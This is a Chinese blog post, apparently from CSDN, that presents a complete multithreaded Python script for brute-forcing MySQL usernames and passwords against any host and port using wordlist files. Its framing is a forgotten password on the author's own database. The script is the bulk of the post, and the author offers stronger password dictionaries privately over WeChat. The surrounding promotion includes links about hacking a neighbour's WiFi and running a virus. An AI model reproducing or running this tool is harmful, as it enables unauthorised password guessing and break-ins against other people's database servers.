用Python写了个工具，完美破解了MySQL！！（建议收藏）

末蓝、 2021-09-08 20:56 479阅读 0赞

**大家好，我是冰河~~**

最近有很多小伙伴问我：冰河，咋感觉你啥都会呀？Java、Python、大数据、分布式、微服务、系统架构、运维、渗透，请问你平时是怎么学习的呢？我：个人觉得最好的学习方法就是，在平时的工作过程中，遇到问题多总结，注意积累解决问题的方案，及时查漏补缺，逐渐形成一套自己的方法论。

要知道，每项知识、技能的积累，需要的是日复一日的坚持，正所谓——**持之以恒，贵在坚持**，这样才能做到**每天进步一点点**。

**小伙伴们如果觉得文章不错，点赞、收藏、评论，分享走一起呀，记得给冰河来个一键三连~~**

## 进入主题 ##

好了，进入今天的主题吧，今天下班回到家想登录下MySQL数据库，不巧的是，忘记了MySQL数据库的用户和密码了，怎么办？使用安全模式登录？我想这么常规的方式应该大家都会吧！今天，就来点不一样的吧，那就是使用Python写个爆破MySQL的工具，看能不能爆破出MySQL的用户和密码。

**小伙伴们如果觉得文章不错，点赞、收藏、评论，分享走一起呀，记得给冰河来个一键三连~~**

好了，咱们说干就干，开始吧。

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2wxMDI4Mzg2ODA0_size_16_color_FFFFFF_t_70_pic_center][]

## 爆破脚本 ##

这次编写的爆破MySQL的Python脚本使用了Python中的多线程编程，并且导入了MySQLdb模块。运行时，脚本分别接收如下五个参数：

*  待破解的ip/domain：例如127.0.0.1
 *  端口：例如3306
 *  数据库：例如test
 *  用户名列表文件：例如user.txt文件
 *  密码列表文件：例如password.txt文件

相对来说，还是比较简单的，下面就给出完整的脚本代码吧。

#!/usr/bin/env python
    # -*- coding: gbk -*-
    # -*- coding: utf-8 -*-
    # Date: 2021/06/30
    # Created by 冰河
    # Description MySQL暴力破解工具多线程版
    import os, sys, re, socket, time
    from functools import partial
    from multiprocessing.dummy import Pool as ThreadPool
     
    try:
        import MySQLdb
    except ImportError:
        print '\n[!] MySQLdb模块导入错误,请到下面网址下载：'
        print '[!] http://www.codegood.com/archives/129'
        exit()
     
     
    def usage():
        print '+' + '-' * 50 + '+'
        print '\t Python MySQL暴力破解工具多线程版'
        print '\t 微信公众号：冰河技术'
        print '\t\t Code BY： 冰河'
        print '\t\t Time：2021-06-30'
        print '+' + '-' * 50 + '+'
        if len(sys.argv) != 6:
            print "用法: " + os.path.basename(sys.argv[0]) + " 待破解的ip/domain 端口 数据库 用户名列表 密码列表"
            print "实例: " + os.path.basename(sys.argv[0]) + " 127.0.0.1 3306 test user.txt pass.txt"
            sys.exit()
     
     
    def mysql_brute(user, password):
        "mysql数据库破解函数"
        db = None
        try:
            # print "user:", user, "password:", password
            db = MySQLdb.connect(host=host, user=user, passwd=password, db=sys.argv[3], port=int(sys.argv[2]))
            # print '[+] 破解成功：', user, password
            result.append('用户名：' + user + "\t密码：" + password)
        except KeyboardInterrupt:
            print '已成功退出程序!'
            exit()
        except MySQLdb.Error, msg:
            print '程序出错,错误信息为:', msg
            pass
        finally:
            if db:
                db.close()
     
     
    if __name__ == '__main__':
        usage()
        start_time = time.time()
        if re.match(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', sys.argv[1]):
            host = sys.argv[1]
        else:
            host = socket.gethostbyname(sys.argv[1])
        userlist = [i.rstrip() for i in open(sys.argv[4])]
        passlist = [j.rstrip() for j in open(sys.argv[5])]
        print '\n[+] 目 标：%s \n' % sys.argv[1]
        print '[+] 用户名：%d 条\n' % len(userlist)
        print '[+] 密 码：%d 条\n' % len(passlist)
        print '[!] 密码破解中,请稍候……\n'
        result = []
     
        for user in userlist:
            partial_user = partial(mysql_brute, user)
            pool = ThreadPool(10)
            pool.map(partial_user, passlist)
            pool.close()
            pool.join()
        if len(result) != 0:
            print '[+] MySQL密码破解成功!\n'
            for x in { }.fromkeys(result).keys():
                print x + '\n'
        else:
            print '[-] MySQL密码破解失败!\n'
        print '[+] 破解完成，用时： %d 秒' % (time.time() - start_time)

脚本编写完成后，运行，等待了一段时间，将我的MySQL的用户和密码完美的破解出来了。

这里需要注意的是：能不能破解出MySQL的用户和密码，那要看你的爆破字典是否足够强大了，说直白点，就是你的user.txt文件中的用户和password.txt文件中的密码是否足够齐全。

**如果你想获取一个相对来说比较强大的爆破密码的字典文件，可以加我微信：sun\_shine\_lyz私聊获取。并且我自己也写了一个根据输入的位数生成密码字典的程序，大家也可以私聊我获取。**

## 推荐书籍 ##

这次，也给大家推荐一些关注渗透方面的书籍吧。

### 《冰河的渗透实战笔记》 ###

首先，就是我最近写的这本《冰河的渗透实战笔记》，一本很不错的渗透实战电子书，绝大部分来源于冰河多年的渗透实战笔记。

> 下载地址：[https://download.csdn.net/download/l1028386804/18830348][https_download.csdn.net_download_l1028386804_18830348]

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2wxMDI4Mzg2ODA0_size_16_color_FFFFFF_t_70_pic_center 1]

另外，再推荐两本，我之前深入研究过的并且很不错的书籍。

### 《IDA Pro代码破解揭秘》 ###

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2wxMDI4Mzg2ODA0_size_16_color_FFFFFF_t_70_pic_center 2][]

### 《IDA Pro权威指南（第2版）》 ###

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2wxMDI4Mzg2ODA0_size_16_color_FFFFFF_t_70_pic_center 3][]

## 写在最后 ##

**如果你想进大厂，想升职加薪，或者对自己现有的工作比较迷茫，都可以私信我交流，希望我的一些经历能够帮助到大家~~**

**推荐阅读：**

*  《[全网最全性能优化总结！！（冰河吐血整理，建议收藏）][Link 1]》
 *  《[三天撸完了MyBatis，各位随便问！！（冰河吐血整理，建议收藏）][MyBatis]》
 *  《[奉劝那些刚参加工作的学弟学妹们：要想进大厂，这些核心技能是你必须要掌握的！完整学习路线！！（建议收藏）][Link 2]》
 *  《[奉劝那些刚参加工作的学弟学妹们：这些计算机与操作系统基础知识越早知道越好！万字长文太顶了！！（建议收藏）][Link 3]》
 *  《[我用三天时间开发了一款老少皆宜的国民级游戏，支持播放音乐，现开放完整源代码和注释（建议收藏）！！][Link 4]》
 *  《[我是全网最硬核的高并发编程作者，CSDN最值得关注的博主，大家同意吗？（建议收藏）][CSDN]》
 *  《[毕业五年，从月薪3000到年薪百万，我掌握了哪些核心技能？（建议收藏）][3000]》
 *  《[我入侵了隔壁妹子的Wifi，发现。。。（全程实战干货，建议收藏）][Wifi]》
 *  《[千万不要轻易尝试“熊猫烧香”，这不，我后悔了！][Link 5]》
 *  《[清明节偷偷训练“熊猫烧香”，结果我的电脑为熊猫“献身了”！][Link 6]》
 *  《[7.3万字肝爆Java8新特性，我不信你能看完！（建议收藏）][7.3_Java8]》
 *  《[在业务高峰期拔掉服务器电源是一种怎样的体验？][Link 7]》
 *  《[全网最全Linux命令总结！！（史上最全，建议收藏）][Linux]》

**好了，今天就到这儿吧，小伙伴们点赞、收藏、评论，一键三连走起呀，我是冰河，我们下期见~~**

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2wxMDI4Mzg2ODA0_size_16_color_FFFFFF_t_70_pic_center 4][]

[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2wxMDI4Mzg2ODA0_size_16_color_FFFFFF_t_70_pic_center]: /images/20210901/7181e9bde76840cf86d5987c6941c18d.png
[https_download.csdn.net_download_l1028386804_18830348]: https://download.csdn.net/download/l1028386804/18830348
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2wxMDI4Mzg2ODA0_size_16_color_FFFFFF_t_70_pic_center 1]: /images/20210901/49d5a8a829334d84bfad71ba7cc048c0.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2wxMDI4Mzg2ODA0_size_16_color_FFFFFF_t_70_pic_center 2]: /images/20210901/2fc93ef607bd478d99c794848d0617fb.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2wxMDI4Mzg2ODA0_size_16_color_FFFFFF_t_70_pic_center 3]: /images/20210901/1212584b8591435cb2c5375975140a37.png
[Link 1]: https://blog.csdn.net/l1028386804/article/details/118175154
[MyBatis]: https://blog.csdn.net/l1028386804/article/details/118079011
[Link 2]: https://blog.csdn.net/l1028386804/article/details/116081409
[Link 3]: https://blog.csdn.net/l1028386804/article/details/115923034
[Link 4]: https://blog.csdn.net/l1028386804/article/details/116191713
[CSDN]: https://blog.csdn.net/l1028386804/article/details/116280491
[3000]: https://blog.csdn.net/l1028386804/article/details/115677451
[Wifi]: https://blog.csdn.net/l1028386804/article/details/116477701
[Link 5]: https://blog.csdn.net/l1028386804/article/details/115450665
[Link 6]: https://blog.csdn.net/l1028386804/article/details/115607742
[7.3_Java8]: https://blog.csdn.net/l1028386804/article/details/115547910
[Link 7]: https://blog.csdn.net/l1028386804/article/details/115576102
[Linux]: https://blog.csdn.net/l1028386804/article/details/117917710
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2wxMDI4Mzg2ODA0_size_16_color_FFFFFF_t_70_pic_center 4]: /images/20210901/75763f2043c648b5a6168462924d7bc9.png